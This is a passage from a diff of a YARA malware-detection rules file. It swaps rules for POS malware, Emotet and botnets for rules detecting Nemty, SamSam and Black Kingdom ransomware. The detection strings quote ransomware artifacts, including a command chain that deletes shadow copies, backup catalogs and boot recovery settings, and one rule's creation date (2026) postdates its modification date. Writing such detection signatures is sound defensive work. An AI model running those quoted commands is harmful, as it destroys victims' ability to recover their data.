have a key." fullword wide - $s9 = "After we receive Bitcoin from you. We will send key to your email." fullword wide + $1 = "boost::interprocess::spin_recursive_mutex recursive lock overflow" fullword ascii + $2 = ".?AU?$error_info_injector@Usync_queue_is_closed@concurrent@boost@@@exception_detail@boost@@" fullword ascii + $3 = ".?AV?$CipherModeFinalTemplate_CipherHolder@V?$BlockCipherFinal@$00VDec@RC6@CryptoPP@@@CryptoPP@@VCBC_Decryption@2@@CryptoPP@@" fullword ascii + $4 = "?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v" fullword ascii + $5 = "cipher.exe" fullword ascii + $6 = ".?AU?$placement_destroy@Utrace_queue@@@ipcdetail@interprocess@boost@@" fullword ascii + $7 = "3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%" fullword ascii + $8 = "CreateProcess failed" fullword ascii + $9 = "boost::dll::shared_library::load() failed" fullword ascii + $op1 = { 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff } + $op2 = { 8b df 83 cb 0f 81 fb ff ff ff 7f 76 07 bb ff ff } condition: - uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them + ( uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( 6 of them ) and all of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_Alina_POS_PDB : POS FILE +rule TRELLIX_ARC_Nemty_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect Alina POS" + description = "Rule to detect Nemty Ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "9588aa10-d5e4-55f4-998c-a01503a53d3a" - date = "2013-08-08" + id = "e9b133d6-fd77-5201-995d-c42bae7cde46" + date = "2020-02-23" modified = "2020-08-14" - reference = "https://www.pandasecurity.com/mediacenter/pandalabs/alina-pos-malware/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_alina_pos_pdb.yar#L1-L25" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Nemty.yar#L1-L45" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "28b0c52c0630c15adcc857d0957b3b8002a4aeda3c7ec40049014ce33c7f67c3" - logic_hash = "9bb8260e3a47567e2460dd474fb74e57987e3d79eb30cdbc2a45b88a16ba1ca2" + hash = "73bf76533eb0bcc4afb5c72dcb8e7306471ae971212d05d0ff272f171b94b2d4" + logic_hash = "d055286670516318c14dcf4e5873b96eede5e1dfb3ee978553fc11f1ac6b3252" score = 75 quality = 70 - tags = "POS, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "pos" - malware_family = "Pos:W32/Alina" + malware_type = "ransomware" + malware_family = "Ransom:W32/Nemty" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\Users\\dice\\Desktop\\SRC_adobe\\src\\grab\\Release\\Alina.pdb" + $x1 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default}" fullword ascii + $s2 = "https://pbs.twimg.com/media/Dn4vwaRW0AY-tUu.jpg:large :D" fullword ascii + $s3 = "MSDOS.SYS" fullword wide + $s4 = "/c vssadmin.exe delete shadows /all /quiet & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} " ascii + $s5 = "recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete" fullword ascii + $s6 = "DECRYPT.txt" fullword ascii + $s7 = "pv3mi+NQplLqkkJpTNmji/M6mL4NGe5IHsRFJirV6HSyx8mC8goskf5lXH2d57vh52iqhhEc5maLcSrIKbukcnmUwym+In1OnvHp070=" fullword ascii + $s8 = "\\NEMTY-DECRYPT.txt\"" fullword ascii + $s9 = "rfyPvccxgVaLvW9OOY2J090Mq987N9lif/RoIDP89luS9Ouv9gUImpgCTVGWvJzrqiS8hQ5El02LdEvKcJ+7dn3DxiXSNG1PwLrY59KzGs/gUvXnYcmT6t34qfZmr8g8" ascii + $s10 = "IO.SYS" fullword wide + $s11 = "QgzjKXcD1Jh/cOLBh1OMb+rWxUbToys2ArG9laNWAWk0rNIv2dnIDpc+mSbp91E8qVN8Mv8K5jC3EBr4TB8jh5Ns/onBhPZ9rLXR7wIkaXGeTZi/4/XOtO3DFiad4+vf" ascii + $s12 = "NEMTY-DECRYPT.txt" fullword wide + $s13 = "pvXmjPQRoUmjj0g9QZ24wvEqyvcJVvFWXc0LL2XL5DWmz8me5wElh/48FHKcpbnq8C2kwQ==" fullword ascii + $s14 = "a/QRAGlNLvqNuONkUWCQTNfoW45DFkZVjUPn0t3tJQnHWPhJR2HWttXqYpQQIMpn" fullword ascii + $s15 = "KeoJrLFoTgXaTKTIr+v/ObwtC5BKtMitXq8aaDT8apz98QQvQgMbncLSJWJG+bHvaMhG" fullword ascii + $s16 = "pu/hj6YerUnqlUM9A8i+i/UhnvsIE+9XTYs=" fullword ascii + $s17 = "grQkLxaGvL0IBGGCRlJ8Q4qQP/midozZSBhFGEDpNElwvWXhba6kTH1LoX8VYNOCZTDzLe82kUD1TSAoZ/fz+8QN7pLqol5+f9QnCLB9QKOi0OmpIS1DLlngr9YH99vt" ascii + $s18 = "BOOTSECT.BAK" fullword wide + $s19 = "bbVU/9TycwPO+5MgkokSHkAbUSRTwcbYy5tmDXAU1lcF7d36BTpfvzaV5/VI6ARRt2ypsxHGlnOJQUTH6Ya//Eu0jPi/6s2MmOk67csw/msiaaxuHXDostsSCC+kolVX" ascii + $s20 = "puh4wXjVYWJzFN6aIgnClL4W/1/5Eg6bm5uEv6Dru0pfOvhmbF1SY3zav4RQVQTYMfZxAsaBYfJ+Gx+6gDEmKggypl1VcVXWRbxAuDIXaByh9aP4B2QvhLnJxZLe+AG5" ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and any of them + ( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) and 4 of them ) ) } -rule TRELLIX_ARC_MALW_Emotet : FINANCIAL FILE +rule TRELLIX_ARC_Nemty_Ransomware_2_6 : RANSOMWARE FILE { meta: - description = "Rule to detect unpacked Emotet" + description = "Rule to detect Nemty Ransomware version 2.6" author = "Marc Rivero | McAfee ATR Team" - id = "5bc83065-dfdd-56b7-9983-200bff35c8b1" - date = "2020-07-21" + id = "335dff33-d078-58ba-b68b-a949895b710f" + date = "2020-04-06" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_emotet.yar#L1-L32" + reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Nemty.yar#L47-L80" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "223e4453a6c3b56b0bc0f91147fa55ea59582d64b8a5c08f1f8d06026044065e" + hash = "52b7d20d358d1774a360bb3897a889e14d416c3b2dff26156a506ff199c3388d" + logic_hash = "dacf709838ef2ef65d25bdbbd92007ab46a95953031d7bee75eac046f670171a" score = 75 quality = 70 - tags = "FINANCIAL, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "financial" - malware_family = "Backdoor:W32/Emotet" - actor_type = "Cybercrime" - hash1 = "a6621c093047446e0e8ae104769af93a5a8ed147ab8865afaafbbd22adbd052d" + malware_type = "ransomware" + malware_family = "Ransom:W32/Nemty" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pattern_0 = { 8b45fc 8be5 5d c3 55 8bec } - $pattern_1 = { 3c39 7e13 3c61 7c04 3c7a 7e0b 3c41 } - $pattern_2 = { 7c04 3c39 7e13 3c61 7c04 3c7a 7e0b } - $pattern_3 = { 5f 8bc6 5e 5b 8be5 } - $pattern_4 = { 5f 668906 5e 5b } - $pattern_5 = { 3c30 7c04 3c39 7e13 3c61 7c04 } - $pattern_6 = { 53 56 57 8bfa 8bf1 } - $pattern_7 = { 3c39 7e13 3c61 7c04 3c7a 7e0b } - $pattern_8 = { 55 8bec 83ec14 53 } - $pattern_9 = { 5e 8be5 5d c3 55 8bec } + $pattern = { 558B??83????53565789????29????6A??8D????8D????5A8B??89????8A????88????8B????8A????88??8A????88????8A??88????03??03??FF????75??89????8D????8D????8D????89????89????29????89????29????89????29????8D????8D????89????29????89????29????8B????89????29????8D????F6??????8B????8A????8B????8A????8A??88????8B????8A????88????75??0FB6??8A??????????0FB6??88????8A??????????0FB6????8A??????????88????0FB6????8A??????????88????8B????C1????32??????????8B????8A????32??8B????88????8A????32??88????8A??32????83????88????8B????8A????32????FF????88??83????83????83??????0F82????????5F5E5BC9C3558B??560FB6??57C1????03????6A??5F6A??5E8A??30??40414E75??4F75??5F5E5DC356576A??5F6A??8B??5E0FB6??8A??????????88??83????4E75??414F75??5F5EC38A????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????8A????88????88????C3558B??5153566A??83????5E8A????32??8A????8A????88????32??32??88????88????32??8A??C0????B3??F6??02??32??32????8A????32????32??88????8A??C0????F6??02??32??32????8A????32????88????8A??C0????F6??02??32??32??8A????32????32????88??8A??C0????F6??02??32??32????83????32????4E88????75??5E5BC9C3558B??53FF????8B??32??E8????????59B3??8B??E8????????8B??E8????????8B??E8????????FF????8B??8A??E8????????FE??5980????72??8B??E8????????8B??E8????????5B8B??B0??5DE9????????558B??81??????????A1????????33??89????8B????578D??????????89??????????E8????????33??6A??5839????76??5683????75??508D????5350E8????????8D??????????508D????E8????????83????6A??5880??????75??C6??????4879??EB??FE????33??8A??????8B??????????30????47403B????72??5E8B????33??5FE8????????C9C3558B??51515333??5633??32??89????39????0F86????????578B????8B????8A????8B??83????74??4F74??4F75??21????0FB6??0FB6??83????8B??C1????C1????0B??8A??????????83????88????8A??????????8B????88??????83????EB??0FB6??0FB6??83????6A??C1????C1????5E0B??EB??33??0FB6??46C1????8A??????????88????40FF????8A??8B????3B????72??5F4E74??4E75??0FB6??83????8A????????????88????C6????????83????EB??0FB6??83????C1????8A??????????88????66????????????83????5EC6??????5BC9C3558B??33??F6??????75??5733??39????76??8B????8A????80????74??80????7C??80????7F??0FB6??8A??????????80????74??8B??83????83????74??4A74??4A74??4A75??08????40EB??8A??C0????80????08????40C0????EB??8A??C0????80????08????40C0????EB??C0????88????473B????72??EB??33??5F5DC3558B??518B??85??74??8B????568B??89????3B??74??576A??33??E8????????83????3B????75??5FFF??E8????????595E33??89??89????89????C9C3558B??80??????74??83??????72??538B??85??74??575356E8????????83????53E8????????595BC7????????????89????C6??????5DC2????C7??????????E9????????558B??568B??C7??????????E8????????F6??????74??56E8????????598B??5E5DC2????558B??83????81??????????A1????????33??89????????????5356578D????508D??????E8????????68????????8D????????????E8????????6A??5F33??83????66????????8D????8B??33??5089??????89??????E8????????E8????????33??66????????8B????????????03??????83????8D??????89??????89??????E8????????538D??????5083????8D??????E8????????538D????????????5083????E8????????8B??8D??????E8????????6A??33??E8????????83????????8B??????73??8D??????8D????????????5150FF??????????89??????83????0F84????????8B??????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????68????????8D????????????50FF??85??0F84????????F6??????????????8D????????????508D??????8D??????74??E8????????598D??????51E8????????8B??598D??????E8????????6A??33??8D??????E8????????6A??8D??????E8????????83????8D??????8B??50E8????????E8????????83????E9????????E8????????8B??598D??????E8????????6A??33??8D??????E8????????8D????????????50FF??????????508D??????E8????????8B??????6A??5F39??????73??8D??????8B??????????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??0F84????????8B??????39??????73??8D??????68????????50FF??85??74??8B??????39??????73??8D??????68????????50FF??85??74??83????8B??68????????E8????????83????8D????????????8B??51E8????????E8????????83????85??75??8B??????39??????73??8D??????83????8B??51E8????????E8????????83????6A??33??8D??????E8????????8D????????????50FF??????FF??????????85??0F85????????FF??????FF??????????33??435333??8D?????? } condition: - 7 of them and filesize < 180224 + uint16( 0 ) == 0x5a4d and filesize < 1500KB and $pattern } -rule TRELLIX_ARC_Festi_Botnet_Pdb : BOTNET FILE + +rule TRELLIX_ARC_Samsamransom2016 : RANSOMWARE FILE { meta: - description = "Rule to detect the Festi botnet based on PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "02f4149d-b8ac-5852-8cbe-c47f4cddcba6" - date = "2013-03-04" + description = "No description has been set in the source file - Trellix ARC" + author = "Christiaan Beek | McAfee ATR Team" + id = "1c7985d0-d01c-52f7-8819-e038ccc01212" + date = "2018-01-25" modified = "2020-08-14" - reference = "https://www.welivesecurity.com/2012/05/11/king-of-spam-festi-botnet-analysis/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_festi_botnet_pdb.yar#L1-L25" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_SamSam.yar#L3-L52" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "e55913523f5ae67593681ecb28d0fa1accee6739fdc3d52860615e1bc70dcb99" - logic_hash = "46e2576900fe94d614a683d4f09079b7ac78654079b2e558d076bcb42db4bf11" + logic_hash = "9e8034ec0ded82ad82b625d6d1b9918761decef0fd42a253722cdc620b355e1a" score = 75 - quality = 70 - tags = "BOTNET, FILE" + quality = 68 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "botnet" - malware_family = "Botnet:W32/Festi" + malware_type = "ransomware" + malware_family = "Ransom:W32/SamSam" actor_type = "Cybercrime" actor_group = "Unknown" + hash1 = "45e00fe90c8aa8578fce2b305840e368d62578c77e352974da6b8f8bc895d75b" strings: - $pdb = "\\eclipse\\botnet\\drivers\\Bin\\i386\\kernel.pdb" + $x1 = "Could not list processes locking resource. Failed to get size of result." fullword wide + $s2 = "Could not list processes locking resource." fullword wide + $s3 = "samsam.del.exe" fullword ascii + $s4 = "samsam.exe" fullword wide + $s5 = "RM_UNIQUE_PROCESS" fullword ascii + $s6 = "KillProcessWithWait" fullword ascii + $s7 = "killOpenedProcessTree" fullword ascii + $s8 = "RM_PROCESS_INFO" fullword ascii + $s9 = "Exception caught in process: {0}" fullword wide + $s10 = "Could not begin restart session. Unable to determine file locker." fullword wide + $s11 = "samsam.Properties.Resources.resources" fullword ascii + $s12 = "EncryptStringToBytes" fullword ascii + $s13 = "recursivegetfiles" fullword ascii + $s14 = "RSAEncryptBytes" fullword ascii + $s15 = "encryptFile" fullword ascii + $s16 = "samsam.Properties.Resources" fullword wide + $s17 = "TSSessionId" fullword ascii + $s18 = "Could not register resource." fullword wide + $s19 = "<recursivegetfiles>b__0" fullword ascii + $s20 = "create_from_resource" fullword ascii + $op0 = { 96 00 e0 00 29 00 0b 00 34 23 } + $op1 = { 96 00 12 04 f9 00 34 00 6c 2c } + $op2 = { 72 a5 0a 00 70 a2 06 20 94 } condition: - uint16( 0 ) == 0x5a4d and filesize < 80KB and any of them + ( uint16( 0 ) == 0x5a4d and filesize < 700KB and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_Vpnfilter : BACKDOOR FILE + +rule TRELLIX_ARC_Samsam_Ransomware_Latest : RANSOMWARE FILE { meta: - description = "Filter for 2nd stage malware used in VPNfilter attack" - author = "Christiaan Beek @ McAfee Advanced Threat Research" - id = "89bd7f94-d73c-5c5c-a3ec-0331f79e61fd" - date = "2018-05-23" + description = "Latest SamSA ransomware samples" + author = "Christiaan Beek" + id = "716b9282-013e-5194-8518-2fa1a4007095" + date = "2018-01-23" modified = "2020-08-14" - reference = "https://blog.talosintelligence.com/2018/05/VPNFilter.html" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_VPNfilter.yar#L1-L40" + reference = "http://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_SamSam.yar#L54-L105" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "9eb6c779dbad1b717caa462d8e040852759436ed79cc2172692339bc62432387" - logic_hash = "88f08765dff632f0c08e985181309e5c3ac9cdaa51d05d8485c411fb1a183cca" - score = 75 - quality = 70 - tags = "BACKDOOR, FILE" + hash = "88e344977bf6451e15fe202d65471a5f75d22370050fe6ba4dfa2c2d0fae7828" + logic_hash = "06703479795fdef64813471f11b275df544c90d5bcece4817d415cd504d7b317" + score = 50 + quality = 68 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/VPNfilter" + malware_type = "ransomware" + malware_family = "Ransom:W32/SamSam" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "id-at-postalAddress" fullword ascii - $s2 = "/bin/shell" fullword ascii - $s3 = "/DZrtenNLQNiTrM9AM+vdqBpVoNq0qjU51Bx5rU2BXcFbXvI5MT9TNUhXwIDAQAB" fullword ascii - $s4 = "Usage does not match the keyUsage extension" fullword ascii - $s5 = "id-at-postalCode" fullword ascii - $s6 = "vTeY4KZMaUrveEel5tWZC94RSMKgxR6cyE1nBXyTQnDOGbfpNNgBKxyKbINWoOJU" fullword ascii - $s7 = "id-ce-extKeyUsage" fullword ascii - $s8 = "/f8wYwYDVR0jBFwwWoAUtFrkpbPe0lL2udWmlQ/rPrzH/f+hP6Q9MDsxCzAJBgNV" fullword ascii - $s9 = "/etc/config/hosts" fullword ascii - $s10 = "%s%-18s: %d bits" fullword ascii - $s11 = "id-ce-keyUsage" fullword ascii - $s12 = "Machine is not on the network" fullword ascii - $s13 = "No XENIX semaphores available" fullword ascii - $s14 = "No CSI structure available" fullword ascii - $s15 = "Name not unique on network" fullword ascii + $s1 = "bedf08175d319a2f879fe720032d11e5" fullword wide + $s2 = "ksdghksdghkddgdfgdfgfd" fullword ascii + $s3 = "osieyrgvbsgnhkflkstesadfakdhaksjfgyjqqwgjrwgehjgfdjgdffg" fullword ascii + $s4 = "5c2d376c976669efaf9cb107f5a83d0c" fullword wide + $s5 = "B917754BCFE717EB4F7CE04A5B11A6351EEC5015" fullword ascii + $s6 = "f99e47c1d4ccb2b103f5f730f8eb598a" fullword wide + $s7 = "d2db284217a6e5596913e2e1a5b2672f" fullword wide + $s8 = "0bddb8acd38f6da118f47243af48d8af" fullword wide + $s9 = "f73623dcb4f62b0e5b9b4d83e1ee4323" fullword wide + $s10 = "916ab48e32e904b8e1b87b7e3ced6d55" fullword wide + $s11 = "c6e61622dc51e17195e4df6e359218a2" fullword wide + $s12 = "2a9e8d549af13031f6bf7807242ce27f" fullword wide + $s13 = "e3208957ad76d2f2e249276410744b29" fullword wide + $s14 = "b4d28bbd65da97431f494dd7741bee70" fullword wide + $s15 = "81ee346489c272f456f2b17d96365c34" fullword wide + $s16 = "94682debc6f156b7e90e0d6dc772734d" fullword wide + $s17 = "6943e17a989f11af750ea0441a713b89" fullword wide + $s18 = "b1c7e24b315ff9c73a9a89afac5286be" fullword wide + $s19 = "90928fd1250435589cc0150849bc0cff" fullword wide + $s20 = "67da807268764a7badc4904df351932e" fullword wide + $op0 = { 30 01 00 2b 68 79 33 38 68 34 77 65 36 34 74 72 } + $op1 = { 01 00 b2 04 00 00 01 00 84 } + $op2 = { 68 09 00 00 38 66 00 00 23 55 53 00 a0 6f 00 00 } condition: - ( uint16( 0 ) == 0x457f and filesize < 500KB and ( 8 of them ) ) or ( all of them ) + ( uint16( 0 ) == 0x5a4d and filesize < 100KB and pe.imphash ( ) == "f34d5f2d4577ed6d9ceec516c1f5a744" and ( 8 of them ) and all of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_Jatboss : PHISHING FILE +rule TRELLIX_ARC_Ransom_Black_Kingdom : RANSOMWARE FILE { meta: - description = "Rule to detect PDF files from Jatboss campaign and MSG files that contained those attachents" - author = "Marc Rivero | McAfee ATR Team" - id = "009a7486-2ee8-57ef-8dfd-fcbd035b4e85" - date = "2019-12-04" - modified = "2020-08-14" - reference = "https://exchange.xforce.ibmcloud.com/collection/JATBOSS-Phishing-Kit-17c74b38860de5cb9fc727e6c0b6d5b5" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_jatboss.yar#L1-L36" + description = "Rule to detect Black Kingdom ransomware that is spread using the latest Exchange vulns" + author = "McAfee ATR" + id = "c38e6dbf-7fb9-52f0-acd0-f824647b6041" + date = "2026-03-01" + modified = "2021-04-06" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/ransom_BlackKingDom.yar#L3-L49" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "b81fb37dc48812f6ad61984ecf2a8dbbfe581120257cb4becad5375a12e755bb" - logic_hash = "5e6e4c8f6c0896623f166a98eb83a9a4f23139306671cf2e35ba239b2dc191fc" - score = 75 - quality = 66 - tags = "PHISHING, FILE" - rule_version = "v1" - malware_type = "phishing" - malware_family = "Phishing:W32/Jatboss" + logic_hash = "334e84a9469367ed64509203feb61b5f64d5a7e38d29ff5c5089631246b06588" + score = 50 + quality = 68 + tags = "RANSOMWARE, FILE" + malware_type = "ransomware" + malware_family = "Ransomware:W32/BlackKingdom_March2021" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $jat = { 3C 3C 2F 41 75 74 68 6F 72 28 4A 41 54 29 20 2F 43 72 65 61 74 6F 72 28 } - $jatboss = { 3C 3C 2F 41 75 74 68 6F 72 28 4A 41 54 29 20 2F 43 72 65 61 74 6F 72 28 } - $spam = { 54 00 68 00 69 00 73 00 20 00 65 00 2D 00 6D 00 61 00 69 00 6C 00 20 00 61 00 6E 00 64 00 20 00 61 00 6E 00 79 00 20 00 61 00 74 00 74 00 61 00 63 00 68 00 6D 00 65 00 6E 00 74 00 20 00 61 00 72 00 65 00 20 00 43 00 6F 00 6E 00 66 00 69 00 64 00 65 00 6E 00 74 00 69 00 61 00 6C 00 2E 00 } + $0 = {7D3F634F627C5EC4D893189F1731F624A6AD458C3D89E9CB22C69EC4B4B588B1A7307D8963EC294C5B718C3D85692B8EB1A730732F8EB16F65EA5CEC17834A665E} + $1 = {3E774F2038FDE77377253CD11BFEB6FB82CF6A03E1B34E134C78A2CFDC1B7CD63AD167EE4E78A227FEF694EE3369143D1B0E84CF7CDAE7C3037C263DD15B979F} + $2 = {0C674D0A2427CDDD9B68213EC0B4A5DF94B19D39BEC0C562346FC7A1D32C0FA5BC9D963440910709A2365360650F5A909685912220EEC0F8157B3E2B95EA2CE9} + $3 = {7B7251266178C52BA731333F9E8A1C327A239FB81B901BAB2755FCAFD8A753F47991516A5C98A6CAAC9A1D5065DE565D87F120B3519DD91E09D353B7120EF9F2} + $4 = {2E233E25767037CA68F9C0F026A5CDDCC08FC0DCE21F61C612F1983A29BD3D986F8239A7692B0EBD478B6C8115564D5B0671346CF7CDDB612247EA7A4FAA7C71} + $5 = {2B2C3249094C8A1A9734E7515D10F78FD1B9339DF1902AC1D4ADE70C27C8A2CA7F3416B7B9F0D10E67519D589B8AD64D6435CC2DF4C2092A4BCEF7053B194AE5} + $6 = {0B297C7D79ECD339B30E87775B6769909CD886D1FBBAF2041DCC4FB11B5BA777AA626A9E8CAC14F64BEA5299A8E304A22BA25FA4F7AC4B95E8ACC42EC33A3DE4} + $7 = {0D46503D4DFD825DED41C94C055E1FCE1134C6F63AD80DCD7427F4BD502FA186077BD22653AB098C96ECDDA26557FB82BBA053CB2067C9DEA7EE0AF6A44C468A} + $8 = {2E774F2038FDE77277253CD11BFEB6FB82CB6A03E1B34E134C78A2CFDC1B5CD63AD167EE4E78A227FEF694EE3269143D1B0E84CF7CDAE5C3035C263DD15B979B} + $9 = {5C4250510A8DEF3463BF7410DEE0E72759B8A94A4D0544BD9B4FC0846E61844F4E06B779ABF906A450F5A2AC4C57CF761798C539175F092FD2429DC27909E382} + $10 = {7C787B386177B4D7F1F6B9E6FE17154FF15BD9E3F1DA94A1E1064654E7500A0B86A20A4AA16BD4E16F19A8733960DE868F10F382CDEEC1F15CE718839241DA10} + $11 = {2C3C6F6B2E597AC746FF7664087C7E899ABCC27AC60FA545D9CF4323063896D299F57132FE3E63E567EBFADF296365A1B2C0163DD8A4F3DABA04C77FA39A99CB} + $12 = {7B3C5D7C73D34D1A6C66B91990D162CACD89ECEAF591AC56C95AB3151EBAC1687FB749924B7BC27917FE50CA6C1417FEDBCC5BA2B7C03B1AEE4F5732E69DAC14} + $13 = {406357775C42584F11A1610D3A8A31F094FA252BC3E10738BD310D536D3A2F9EC5C21996AC4DCF5237AE3A4467D5678EE2983E4282ADFB1FDEA16352109BA7A7} + $14 = {2F265663680CACC66731B11AA78D588D7B54AC06C6348905D6B8F52C608D8208B0C6C5F1C11A2F69608D363DFA2A365AA387DAFCC906B486548F3DA8FE36312E} + $15 = {2B37480D634C799C468B775404368C7B891ADE3A556DF888566EB8CB3ED6F0171B59C35BB57F3B75D9017B7C9D52D1E87F48795AA58A16695B98BAFEAF66A769} + $16 = {0A76372D4F488ED5649A19B42E9E42B1DCC2E62655E7041711A6235B825D791CD6519492309D46964594F78B1DCAD17A5BEA574166B8A8EB76A52CA1052D724A} + $17 = {3D0B635F789C6CA6ADAC549548AA509C99D0C8DD823C99704423B90175B062E70EBBA67F937D622FF41B59D21E763A26D36759F3297D12B7454D82676C5B7B4A} + $18 = {225B642B7A09E7B06A4D3B95D97927AC46DABAE3ECE93AA4B307259DB9C01361C905B240678DB830EB7E172EB939ECB188ED3504B3709A746772B7BC94C83FB6} + $19 = {27465E49761EECAF449A3AB147907CF1C3D5F161D353E236BF9940AEC099EA4AC0352576803626029A15B3E978AB84D0024A1E345FFE58A81CDA2FBD61408971} + $20 = {3B7431210BEE4762B447DF044B5D6F41D53824C3E2CD17A35D71029352B47DA3811C60458EAADEBA532F75C54A3DDFC74AB3BEA7A51AF81A4A688F5D7A10378C} + $21 = {276C41453F8F2D8279980EAD3328E2478A3D84C55EB668231A12EED150E496622FCB2C04D9CBCE257BD97B9ECE404037589A185573F936A78DA88AD43EFC3948} + $22 = {2727495F5B1B4D920E35A52B6A5DB6A7F8B31A26873E20C53388696567D692B4B1F4A0B9267E4BBDA1728A5E883FD69029A07669AC1D0DC22E3157C028705C19} + $23 = {3E5552672C26C4F22824AF196F222D370F9EEDBEF119B8C3DD96414CF3529912234CB08AA7B2A034A51635319EAC44D47FA68747BA4B2FD2A884373ADEFB5C84} + $24 = {20735E632C6C70375BCA935EE39B7FA508205E9CC034CBD193A0D1C1E3A9A13818B9EB7FEFB11891E71221DB7143286C7D36A91C1FF7615E38F02E5C1BA24AFF} + $25 = {0A3D69344860D944AA8A46908019AB085E025AA693D381A34D8DCF116B25B0C62355D93893D1F64B983986C7E956C22303A9AB109680BF4B74460C5B087412AF} + $26 = {7C5B79652BC66C9BC36B11730D556FFA1CA1616CA59C0C344FD1F6B50C9C259329D699CDF0B894F1540AFDC4F431957206B0748AB6AE3B9069CD91147E09709B} + $27 = {2257442B42DB79A5E6CAD745E9A8D9775E4216C95F6094A05F05D7DAADBB03EC4B3444983DD291C2E32FC39299BCB4D22219386E75DAABB8D2EA93DFC52A248B} + $28 = 